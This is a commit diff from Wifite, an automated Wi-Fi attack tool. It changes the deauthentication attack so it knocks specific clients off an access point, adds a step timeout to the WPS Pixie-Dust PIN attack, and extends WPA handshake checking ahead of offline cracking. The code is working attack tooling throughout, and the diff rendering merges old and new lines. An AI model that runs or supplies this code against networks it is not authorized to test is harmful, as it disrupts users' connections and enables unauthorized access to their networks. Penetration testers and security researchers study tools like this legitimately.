Fix deauth, Pixie step timeout, better handshake options.

Deauth now deauths clients (whoops).
Checks all handshakes if no filename is given to --check-hs
Times out a --pixie attack if the step does not change in 30 seconds.
This commit is contained in:
derv82
2016-04-16 13:15:23 -04:00
parent 3847f2c5c9
commit 8b5f5ce3f4
7 changed files with 68 additions and 32 deletions

View File

@@ -13,7 +13,7 @@ from json import loads
import os import os
class Wifite(object): class Wifite(object):
def main(self): def main(self):
''' Either performs action based on arguments, or starts attack scanning ''' ''' Either performs action based on arguments, or starts attack scanning '''
@@ -60,15 +60,27 @@ class Wifite(object):
Color.pl('\n{+} Cracked target #%d:' % (index + 1)) Color.pl('\n{+} Cracked target #%d:' % (index + 1))
cr = CrackResult.load(item) cr = CrackResult.load(item)
cr.dump() cr.dump()
def check_handshake(self, capfile): def check_handshake(self, capfile):
''' Analyzes .cap file for handshake ''' ''' Analyzes .cap file for handshake '''
Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile) if capfile == '<all>':
if not os.path.exists(capfile): Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n')
Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile) try:
return capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')]
hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid) except OSError, e:
hs.analyze() capfiles = []
if len(capfiles) == 0:
Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n')
else:
capfiles = [capfile]
for capfile in capfiles:
Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile)
if not os.path.exists(capfile):
Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile)
return
hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid)
hs.analyze()
Color.pl('')
def run(self): def run(self):

View File

@@ -203,13 +203,13 @@ class Airmon(object):
choice = raw_input(question) choice = raw_input(question)
iface = a.get(choice) iface = a.get(choice)
if a.get(choice).name in mon_ifaces: if a.get(choice).name in mon_ifaces:
Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name) Color.pl('{+} {G}%s{W} is already in monitor mode' % iface.name)
else: else:
iface.name = Airmon.start(iface) iface.name = Airmon.start(iface)
return iface.name return iface.name
@staticmethod @staticmethod
def terminate_conflicting_processes(): def terminate_conflicting_processes():
@@ -221,7 +221,7 @@ class Airmon(object):
Found 3 processes that could cause trouble. Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them! a short period of time, you may want to kill (some of) them!
-e -e
PID Name PID Name
2272 dhclient 2272 dhclient
2293 NetworkManager 2293 NetworkManager
@@ -246,7 +246,7 @@ class Airmon(object):
pid = match.groups()[0] pid = match.groups()[0]
pname = match.groups()[1] pname = match.groups()[1]
Color.pl('{!} {R}terminating {O}conflicting process' + Color.pl('{!} {R}terminating {O}conflicting process' +
' {R}%s{O} ({R}%s{O})' % (pname, pid)) ' {R}%s{O} (PID {R}%s{O})' % (pname, pid))
os.kill(int(pid), signal.SIGTERM) os.kill(int(pid), signal.SIGTERM)

View File

@@ -182,6 +182,13 @@ class Arguments(object):
type=int, type=int,
help=Color.s('Time to wait before stopping PixieDust (default: {G}%d sec{W})') help=Color.s('Time to wait before stopping PixieDust (default: {G}%d sec{W})')
% Configuration.wps_pixie_timeout) % Configuration.wps_pixie_timeout)
wps.add_argument('--pixiest',
action='store',
dest='wps_pixie_step_timeout',
metavar='[seconds]',
type=int,
help=Color.s('Time to wait for a step to change before stopping PixieDust (default: {G}%d sec{W})')
% Configuration.wps_pixie_step_timeout)
wps.add_argument('-wpst', wps.add_argument('-wpst',
action='store', action='store',
dest='wps_pin_timeout', dest='wps_pin_timeout',
@@ -223,26 +230,28 @@ class Arguments(object):
help=Color.s('Display previously-cracked access points')) help=Color.s('Display previously-cracked access points'))
commands.add_argument('--check-hs', commands.add_argument('--check-hs',
action='store', action='store',
metavar='[file]', metavar='file',
nargs='?',
const='<all>',
dest='check_handshake', dest='check_handshake',
help=Color.s('Check a .cap file for WPA handshakes')) help=Color.s('Check a .cap file (or all hs/*.cap files) for WPA handshakes'))
commands.add_argument('--crack-wpa', commands.add_argument('--crack-wpa',
action='store', action='store',
type=str, type=str,
dest='crack_wpa', dest='crack_wpa',
metavar='[file]', metavar='file',
help=Color.s('Crack a .cap file containing a WPA handshake')) help=Color.s('Crack a .cap file containing a WPA handshake'))
commands.add_argument('--crack-wep', commands.add_argument('--crack-wep',
action='store', action='store',
type=str, type=str,
dest='crack_wep', dest='crack_wep',
metavar='[file]', metavar='file',
help=Color.s('Crack a .cap file containing WEP IVS')) help=Color.s('Crack a .cap file containing WEP IVS'))
commands.add_argument('--update', commands.add_argument('--update',
action='store_true', action='store_true',
dest='update', dest='update',
help=Color.s('Update to latest version of Wifite (on github)')) help=Color.s('Update to latest version of Wifite (on github)'))
return parser.parse_args() return parser.parse_args()
if __name__ == '__main__': if __name__ == '__main__':

View File

@@ -40,7 +40,7 @@ class AttackWPA(Attack):
Color.p('\r{+} {C}WPA-handshake attack{W}: ') Color.p('\r{+} {C}WPA-handshake attack{W}: ')
Color.p('{O}waiting{W} for target to appear...') Color.p('{O}waiting{W} for target to appear...')
airodump_target = self.wait_for_target(airodump) airodump_target = self.wait_for_target(airodump)
# Get client station MAC addresses # Get client station MAC addresses
clients = [c.station for c in airodump_target.clients] clients = [c.station for c in airodump_target.clients]
client_index = 0 client_index = 0
@@ -137,7 +137,7 @@ class AttackWPA(Attack):
if wordlist != None: if wordlist != None:
wordlist_name = wordlist.split(os.sep)[-1] wordlist_name = wordlist.split(os.sep)[-1]
if not os.path.exists(wordlist): if not os.path.exists(wordlist):
Color.pl('{!} {R}unable to crack:' + Color.pl('{!} {R}unable to crack:' +
' wordlist {O}%s{R} does not exist{W}' % wordlist) ' wordlist {O}%s{R} does not exist{W}' % wordlist)
else: else:
# We have a wordlist we can use # We have a wordlist we can use
@@ -217,13 +217,14 @@ class AttackWPA(Attack):
target_name = 'broadcast' target_name = 'broadcast'
command = [ command = [
'aireplay-ng', 'aireplay-ng',
'--ignore-negative-one',
'-0', # Deauthentication '-0', # Deauthentication
'1', # Number of deauths to perform.
'-a', self.target.bssid '-a', self.target.bssid
] ]
command.append('--ignore-negative-one')
if station_bssid: if station_bssid:
# Deauthing a specific client # Deauthing a specific client
command.extend(['-h', station_bssid]) command.extend(['-c', station_bssid])
command.append(Configuration.interface) command.append(Configuration.interface)
Color.p(' {C}sending deauth{W} to {C}%s{W}' % target_name) Color.p(' {C}sending deauth{W} to {C}%s{W}' % target_name)
return Process(command) return Process(command)

View File

@@ -71,6 +71,7 @@ class AttackWPS(Attack):
pin = None pin = None
step = '0) initializing' step = '0) initializing'
time_since_last_step = 0
while True: while True:
time.sleep(1) time.sleep(1)
@@ -106,6 +107,7 @@ class AttackWPS(Attack):
Color.pl('{R}failed: {O}WPS pin not found{W}') Color.pl('{R}failed: {O}WPS pin not found{W}')
return False return False
last_step = step
# Status updates, depending on last line of stdout # Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line: if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon' step = '({C}step 1/8{W}) waiting for beacon'
@@ -133,9 +135,19 @@ class AttackWPS(Attack):
Color.pl('{R}failed: {O}WPS pin not found{W}') Color.pl('{R}failed: {O}WPS pin not found{W}')
break break
if step != last_step:
# Step changed, reset step timer
time_since_last_step = 0
else:
time_since_last_step += 1
if time_since_last_step > Configuration.wps_pixie_step_timeout:
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
break
# TODO: Timeout check # TODO: Timeout check
if reaver.running_time() > Configuration.wps_pixie_timeout: if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_timeout) Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
break break
# Reaver Failure/Timeout check # Reaver Failure/Timeout check
@@ -197,7 +209,7 @@ class AttackWPS(Attack):
if failures >= Configuration.wps_fail_threshold: if failures >= Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures{W}') Color.pl('{R}failed: {O}too many failures{W}')
break break
# Get output # Get output
out = self.get_stdout() out = self.get_stdout()
@@ -364,15 +376,15 @@ class AttackWPS(Attack):
if __name__ == '__main__': if __name__ == '__main__':
stdout = ''' stdout = '''
[Pixie-Dust] [Pixie-Dust]
[Pixie-Dust] Pixiewps 1.1 [Pixie-Dust] Pixiewps 1.1
[Pixie-Dust] [Pixie-Dust]
[Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 [Pixie-Dust] [*] E-S1: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00 [Pixie-Dust] [*] E-S2: 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
[Pixie-Dust] [+] WPS pin: 12345678 [Pixie-Dust] [+] WPS pin: 12345678
[Pixie-Dust] [Pixie-Dust]
[Pixie-Dust] [*] Time taken: 0 s [Pixie-Dust] [*] Time taken: 0 s
[Pixie-Dust] [Pixie-Dust]
Running reaver with the correct pin, wait ... Running reaver with the correct pin, wait ...
Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402 Cmd : reaver -i wlan0mon -b 08:86:3B:8C:FD:9C -c 11 -s y -vv -p 28097402

View File

@@ -70,8 +70,9 @@ class Configuration(object):
Configuration.no_reaver = False # Do not use Reaver on WPS networks Configuration.no_reaver = False # Do not use Reaver on WPS networks
Configuration.reaver = False # ONLY use Reaver on WPS networks Configuration.reaver = False # ONLY use Reaver on WPS networks
Configuration.pixie_only = False # ONLY use Pixie-Dust attack on WPS Configuration.pixie_only = False # ONLY use Pixie-Dust attack on WPS
Configuration.wps_pin_timeout = 600 # Seconds to wait before reaver fails Configuration.wps_pin_timeout = 600 # Seconds to wait for PIN before reaver fails
Configuration.wps_pixie_timeout = 600 # Seconds to wait before pixie fails Configuration.wps_pixie_timeout = 300 # Seconds to wait for PIN before pixie fails
Configuration.wps_pixie_step_timeout = 30 # Seconds to wait for a step to change before pixie fails
Configuration.wps_max_retries = 20 # Retries before failing Configuration.wps_max_retries = 20 # Retries before failing
Configuration.wps_fail_threshold = 30 # Max number of failures Configuration.wps_fail_threshold = 30 # Max number of failures
Configuration.wps_timeout_threshold = 30 # Max number of timeouts Configuration.wps_timeout_threshold = 30 # Max number of timeouts
@@ -181,6 +182,9 @@ class Configuration(object):
if args.wps_pixie_timeout: if args.wps_pixie_timeout:
Configuration.wps_pixie_timeout = args.wps_pixie_timeout Configuration.wps_pixie_timeout = args.wps_pixie_timeout
Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout) Color.pl('{+} {C}option:{W} WPS pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_timeout)
if args.wps_pixie_step_timeout:
Configuration.wps_pixie_step_timeout = args.wps_pixie_step_timeout
Color.pl('{+} {C}option:{W} Any step in the pixie-dust attack will timeout after {G}%d seconds{W}' % args.wps_pixie_step_timeout)
if args.wps_pin_timeout: if args.wps_pin_timeout:
Configuration.wps_pin_timeout = args.wps_pin_timeout Configuration.wps_pin_timeout = args.wps_pin_timeout
Color.pl('{+} {C}option:{W} WPS PIN attack will timeout after {G}%d seconds{W}' % args.wps_pin_timeout) Color.pl('{+} {C}option:{W} WPS PIN attack will timeout after {G}%d seconds{W}' % args.wps_pin_timeout)
@@ -245,7 +249,7 @@ class Configuration(object):
if args.crack_wep: Configuration.crack_wep = args.crack_wep if args.crack_wep: Configuration.crack_wep = args.crack_wep
if args.update: Configuration.update = True if args.update: Configuration.update = True
if args.check_handshake: Configuration.check_handshake = args.check_handshake if args.check_handshake: Configuration.check_handshake = args.check_handshake
@staticmethod @staticmethod
def temp(subfile=''): def temp(subfile=''):

View File

@@ -29,8 +29,6 @@ class Handshake(object):
if not self.essid and not self.bssid: if not self.essid and not self.bssid:
# We do not know the bssid nor the essid # We do not know the bssid nor the essid
Color.pl('{!} {O}Warning{W}:' +
' {R}bssid{O} and {R}essid{O} were not specified{W}')
# TODO: Display menu for user to select from list # TODO: Display menu for user to select from list
# HACK: Just use the first one we see # HACK: Just use the first one we see
self.bssid = pairs[0][0] self.bssid = pairs[0][0]